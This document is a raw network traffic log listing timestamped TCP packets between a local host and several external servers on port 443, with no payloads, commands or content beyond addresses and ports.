Jan 8, 2025 15:44:46.054042101 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.054080963 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.054112911 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.054234028 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.054234028 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.054270983 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.054426908 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.054460049 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.054461002 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.054470062 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.054505110 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.054512978 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.054548979 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.054590940 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.054600000 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.055022955 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.055074930 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.055084944 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.067164898 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.067244053 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.067274094 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.067296982 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.067306995 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.067348003 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.067531109 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.067595005 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.067637920 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.067646027 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.068242073 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.068274975 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.068296909 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.068305016 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.068353891 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.068358898 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.071997881 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.072052002 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.072060108 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.082170963 CET	443	49816	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.082411051 CET	49816	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.082432032 CET	443	49816	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.083395004 CET	443	49816	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.083462954 CET	49816	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.083753109 CET	49816	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.083765030 CET	49816	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.083812952 CET	49816	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.083825111 CET	443	49816	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.083877087 CET	49816	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.084130049 CET	49817	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.084151030 CET	443	49817	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.084239960 CET	49817	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.084501982 CET	49817	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.084515095 CET	443	49817	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.089572906 CET	443	49815	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.089771032 CET	49815	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.089782000 CET	443	49815	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.090975046 CET	443	49815	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.091029882 CET	49815	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.092492104 CET	49815	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.092562914 CET	443	49815	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.092658043 CET	49815	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.092667103 CET	443	49815	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.106245041 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.122340918 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.138257980 CET	49815	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.155056000 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.155138016 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.155174971 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.155208111 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.155247927 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.155280113 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.155342102 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.155342102 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.155342102 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.155350924 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.155682087 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.155713081 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.155747890 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.155822992 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.155822992 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.155833006 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.202385902 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.220478058 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.220576048 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.220609903 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.220633030 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.220649004 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.220700026 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.220743895 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.221240997 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.221277952 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.221290112 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.221297979 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.221334934 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.221342087 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.221385002 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.221432924 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.224088907 CET	443	49815	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.224168062 CET	443	49815	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.224231958 CET	49815	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.233290911 CET	49815	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.233309984 CET	443	49815	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.234209061 CET	49818	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.234244108 CET	443	49818	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.234313965 CET	49818	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.236365080 CET	49818	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.236377001 CET	443	49818	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.236975908 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.236990929 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.314528942 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.314599037 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.314632893 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.314754963 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.314783096 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.314788103 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.314806938 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.314817905 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.314850092 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.314855099 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.315220118 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.315253973 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.315269947 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.315275908 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.315310001 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.315331936 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.315337896 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.315377951 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.315383911 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.315975904 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.316011906 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.316024065 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.316040039 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.316049099 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.316090107 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.316095114 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.316135883 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.316143036 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.316198111 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.316318035 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.316327095 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.567486048 CET	443	49817	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.567812920 CET	49817	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.567826986 CET	443	49817	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.568694115 CET	443	49817	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.568764925 CET	49817	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.570307016 CET	49817	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.570358038 CET	443	49817	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.570657969 CET	49817	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.570666075 CET	443	49817	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.617336035 CET	49817	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.633223057 CET	49680	80	192.168.2.16	192.229.211.108
Jan 8, 2025 15:44:46.720069885 CET	443	49817	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.720190048 CET	443	49817	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.720403910 CET	49817	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.720940113 CET	49817	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.720953941 CET	443	49817	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.722017050 CET	49819	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.722043037 CET	443	49819	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.722110987 CET	49819	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.722543955 CET	49819	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:46.722552061 CET	443	49819	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:46.726512909 CET	443	49818	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.726826906 CET	49818	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.726862907 CET	443	49818	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.727380991 CET	443	49818	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.727679014 CET	49818	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.727737904 CET	443	49818	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.727786064 CET	49818	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.771339893 CET	443	49818	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.777256966 CET	49818	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.860102892 CET	443	49818	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.860212088 CET	443	49818	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:46.860285997 CET	49818	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.860492945 CET	49818	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:46.860513926 CET	443	49818	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:47.204430103 CET	443	49819	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:47.204895020 CET	49819	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:47.204902887 CET	443	49819	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:47.205878973 CET	443	49819	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:47.205960989 CET	49819	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:47.206337929 CET	49819	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:47.206351995 CET	49819	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:47.206398010 CET	443	49819	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:47.206410885 CET	49819	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:47.206450939 CET	49819	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:47.206844091 CET	49820	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:47.206873894 CET	443	49820	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:47.206940889 CET	49820	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:47.207170010 CET	49820	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:47.207184076 CET	443	49820	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:47.666524887 CET	443	49820	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:47.666896105 CET	49820	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:47.666922092 CET	443	49820	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:47.667409897 CET	443	49820	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:47.667758942 CET	49820	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:47.667891979 CET	443	49820	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:47.668039083 CET	49820	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:47.715342045 CET	443	49820	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:47.821355104 CET	443	49820	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:47.821485996 CET	443	49820	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:47.821562052 CET	49820	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:47.822108030 CET	49820	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:47.822118998 CET	443	49820	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:47.836730003 CET	49821	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:47.836766005 CET	443	49821	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:47.836838961 CET	49821	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:47.837152958 CET	49821	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:47.837171078 CET	443	49821	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.297166109 CET	443	49821	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.297506094 CET	49821	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.297523022 CET	443	49821	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.298661947 CET	443	49821	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.298744917 CET	49821	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.299105883 CET	49821	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.299114943 CET	49821	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.299170017 CET	49821	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.299179077 CET	443	49821	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.299243927 CET	49821	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.299498081 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.299526930 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.299611092 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.299818993 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.299830914 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.561463118 CET	49823	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:48.561521053 CET	443	49823	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:48.561593056 CET	49823	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:48.571394920 CET	49823	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:48.571412086 CET	443	49823	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:48.767723083 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.768095016 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.768106937 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.769191027 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.769309044 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.770083904 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.770148993 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.770364046 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.770370960 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.817270041 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.930951118 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.931360006 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.931417942 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.931457043 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.931469917 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.931512117 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.931518078 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.931524992 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.931574106 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.931591034 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.931597948 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.931725025 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.932208061 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.932261944 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.932307959 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.932313919 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:48.976273060 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:48.976281881 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:49.020066977 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:49.020102024 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:49.020157099 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:49.020165920 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:49.020195961 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:49.020217896 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:49.020248890 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:49.020318031 CET	49822	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:49.020332098 CET	443	49822	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:49.027297974 CET	443	49823	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:49.027574062 CET	49823	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.027592897 CET	443	49823	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:49.028448105 CET	443	49823	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:49.028525114 CET	49823	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.028948069 CET	49823	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.028965950 CET	49823	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.029009104 CET	443	49823	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:49.029023886 CET	49823	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.029064894 CET	49823	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.029411077 CET	49824	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.029475927 CET	443	49824	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:49.029556990 CET	49824	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.029784918 CET	49824	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.029798985 CET	443	49824	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:49.513377905 CET	443	49824	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:49.513705015 CET	49824	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.513731956 CET	443	49824	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:49.514802933 CET	443	49824	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:49.514868021 CET	49824	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.515197992 CET	49824	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.515253067 CET	443	49824	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:49.515372038 CET	49824	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.515379906 CET	443	49824	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:49.567244053 CET	49824	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.663836956 CET	443	49824	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:49.664000034 CET	443	49824	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:49.664076090 CET	49824	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.664690971 CET	49824	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:49.664705992 CET	443	49824	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:49.667640924 CET	49825	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:49.667687893 CET	443	49825	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:49.667777061 CET	49825	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:49.668173075 CET	49825	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:49.668184996 CET	443	49825	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.140413046 CET	443	49825	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.140708923 CET	49825	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.140738010 CET	443	49825	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.141810894 CET	443	49825	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.141877890 CET	49825	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.142250061 CET	49825	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.142261982 CET	49825	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.142318010 CET	443	49825	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.142319918 CET	49825	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.142373085 CET	49825	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.142653942 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.142693996 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.142791033 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.142996073 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.143008947 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.633281946 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.633964062 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.633972883 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.634330034 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.636138916 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.636315107 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.636384010 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.685223103 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.785582066 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.785895109 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.785927057 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.785953045 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.785958052 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.785969973 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.786004066 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.786302090 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.786346912 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.786356926 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.786391020 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.786437035 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.786447048 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.787065029 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.787120104 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.787127972 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.829235077 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.829255104 CET	443	49826	104.21.13.162	192.168.2.16
